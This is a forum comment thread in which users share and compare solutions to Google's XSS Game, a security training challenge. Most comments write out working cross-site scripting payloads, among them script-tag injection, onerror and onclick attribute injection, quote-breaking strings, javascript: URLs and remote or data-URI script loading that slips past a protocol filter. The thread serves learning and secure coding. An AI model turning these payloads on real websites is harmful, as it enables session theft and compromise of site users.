News for hackers. Stuff that matters.
Re:The XSS Game by Google by throwaway729 on Wednesday November 23, 2016 @09:53AM (#13023015)
Solutions: http://pastebin.com/hv0h73eC

I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them.

It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.

Re:The XSS Game by Google by randyrand on Wednesday November 23, 2016 @02:40PM (#13025214)
I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text:

  # lvl 1
  
  Enter `<script>alert('')</script>` into the search box.  
  
  # lvl 2
  
  Use the `onclick` attribute of the font tag (hint is from       the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
  
      <font color="red" onclick="alert('')">blah</font>
  
  and then click blah after posting the message. (or use   onload etc.)
  
  # lvl 3
  
  Modify the URL parameter so that you inject code into the   `<img>` tag:
  
      https://xss-game.appspot.com/level3/frame#1.jpg'   onclick="alert('')" alt='a picture called 1
  
  which will render as:
  
     html += "<img src='/static/level3/cloud/1.jpg'    onclick="alert('')" alt='a picture called 1.jpg'/>";
  
  on line 17 of the HTML file. Now click on the picture.
  
  # lvl 4
  
  Use `3'); alert('` as the value for your timer.
  
  # lvl 5
  
  Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use   this as the location that the user is sent to on the signup page. Go the the URL:
  
      https://xss-game.appspot.com/level5/frame/signup?  next=javascript:alert('')
  
  and then click the `Next` link.
  
  # lvl 6
  
  The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
  
      alert('');

  and then go the the url `https://xss-  game.appspot.com/level6/frame#Http://mysite.com/xss.js`
  
  # Notes
  
  In an actual attack you'd use onerror or onload everywhere instead of onclick.
Re:The XSS Game by Google by dstjean on Wednesday November 23, 2016 @07:16PM (#13026897)
Level 6: You can exclude the protocol entirely (eg: "//news.ycombinator.com")

This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https

if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol

Re:The XSS Game by Google by jtinder on Friday November 25, 2016 @11:24AM (#13037763)
or you can simply add a space after #
Re:The XSS Game by Google by et-al on Thursday November 24, 2016 @01:31AM (#13028621)
Level 5:

To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link.

- - -

re: Level 4

Can someone explain how the possible strings break the parseInt()? Source code:

    function startTimer(seconds) {
      seconds = parseInt(seconds) || 3;
      setTimeout(function() { 
        window.confirm("Time is up!");
        window.history.back();
      }, seconds * 1000);
    }
I tried running parseInt() in the console and just got NaNs for `'+alert()+'` and `3'); alert('`.
Re:The XSS Game by Google by n_ on Wednesday November 23, 2016 @05:34PM (#13026342)
On level 3:

  https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
will execute on load rather than after user input.
Re:The XSS Game by Google by maaarghk on Wednesday November 23, 2016 @06:08PM (#13026530)
yeah, as the notes say you would use onload IRL.
Re:The XSS Game by Google by collinmanderson on Wednesday November 23, 2016 @04:13PM (#13025878)
Some alternatives:

#1 <script>alert()</script> (no need for an empty string)

#4 '+alert()+'

#6 you can also use a protocol-relative url //google.com/jsapi?callback=alert

Re:The XSS Game by Google by fryguy on Wednesday November 23, 2016 @08:57PM (#13027408)
On 6 you can also just put a space before the URI and it seems to trim the string before loading it.
Re:The XSS Game by Google by jrockway on Wednesday November 23, 2016 @09:08PM (#13027463)
I just used a data URI for the last one.
Re:The XSS Game by Google by fastest963 on Wednesday November 23, 2016 @10:25AM (#13023226)
For the last one, instead of actually uploading a file, you can just put data:text/javascript,alert('test') after the hash.
Re:The XSS Game by Google by wybiral on Wednesday November 23, 2016 @12:12PM (#13023993)
Good idea. I solved that one by using a "protocol relative url" (omitting the http[s] part).
Re:The XSS Game by Google by pault on Wednesday November 23, 2016 @03:24PM (#13025558)
This is why you should never embed user created SVGs in your site.
Re:The XSS Game by Google by nsgi on Wednesday November 23, 2016 @06:24PM (#13026632)
What if they're in an img tag?
Re:The XSS Game by Google by 9point6 on Wednesday November 23, 2016 @12:01PM (#13023908)
Ah I didn't know you could have it without the base64 encoding.

I did basically the same:

    data:text/javascript;base64,YWxlcnQoInRlc3QiKQ==
Re:The XSS Game by Google by et-al on Thursday November 24, 2016 @01:35AM (#13028641)
These are awesome, thanks.
Re:The XSS Game by Google by chadscira on Wednesday November 23, 2016 @11:52AM (#13023848)
I did

    data:text/javascript;base64,YWxlcnQoMSk=
I didn't know you could do stuff like this (not for XSS)

    data:text/html,<script>alert(window.location)</script>
Cool, you can store a whole website in a URL now.
Re:The XSS Game by Google by joshstrange on Wednesday November 23, 2016 @02:31PM (#13025133)
> Cool, you can store a whole website in a URL now.

As long as it's shorter than ~2000 characters [0]

[0] http://stackoverflow.com/questions/417142/what-is-the-maximu...

Re:The XSS Game by Google by chadscira on Wednesday November 23, 2016 @06:06PM (#13026514)
Seems like in chrome you can go much higher!

Here is a example of 5M

    data:text/html,<script>window.location='data:text/html,<!--'+new Array(5000001).join('a')+'!--><script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script>
I tried 110Mb and it actually worked as well! I'm not sure about the real limit.

You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.

Re:The XSS Game by Google by bungie4 on Wednesday November 23, 2016 @10:52AM (#13023411)
For level 2, onerror="javascript:alert(0)" a whole lot simpler than your pasted answer.
Re:The XSS Game by Google by flanbiscuit on Wednesday November 23, 2016 @11:24AM (#13023660)
that didn't work for me. this did: <img onload="javascript:alert(0);" src="http://i.imgur.com/fXYSkbC.gif">

img tags support the onload attribute and is a typical element people use in posts

Re:The XSS Game by Google by cfontes on Wednesday November 23, 2016 @01:00PM (#13024375)
You used onload, the suggested was onerror,

Maybe it doesn't work because the page is already loaded so the onload is never run.

Re:The XSS Game by Google by 9point6 on Wednesday November 23, 2016 @12:07PM (#13023955)
weird, onerror worked fine for me

    <img src="404me" onerror="alert('test')" />
Re:The XSS Game by Google by seanwilson on Wednesday November 23, 2016 @12:12PM (#13023997)
Instead of "onclick" for the <img> tags, you can bypass the required user interaction and be more brutal using "onerror" e.g. <img onerror="alert('hacked')" url="broken_url">.
Re:The XSS Game by Google by solidr53 on Wednesday November 23, 2016 @03:36PM (#13025652)
I just used the industry standard protocol format in the level 6: `#//xxx.ngrok.io/foo.js`. I thought it was hilarious that they didn't filter that out.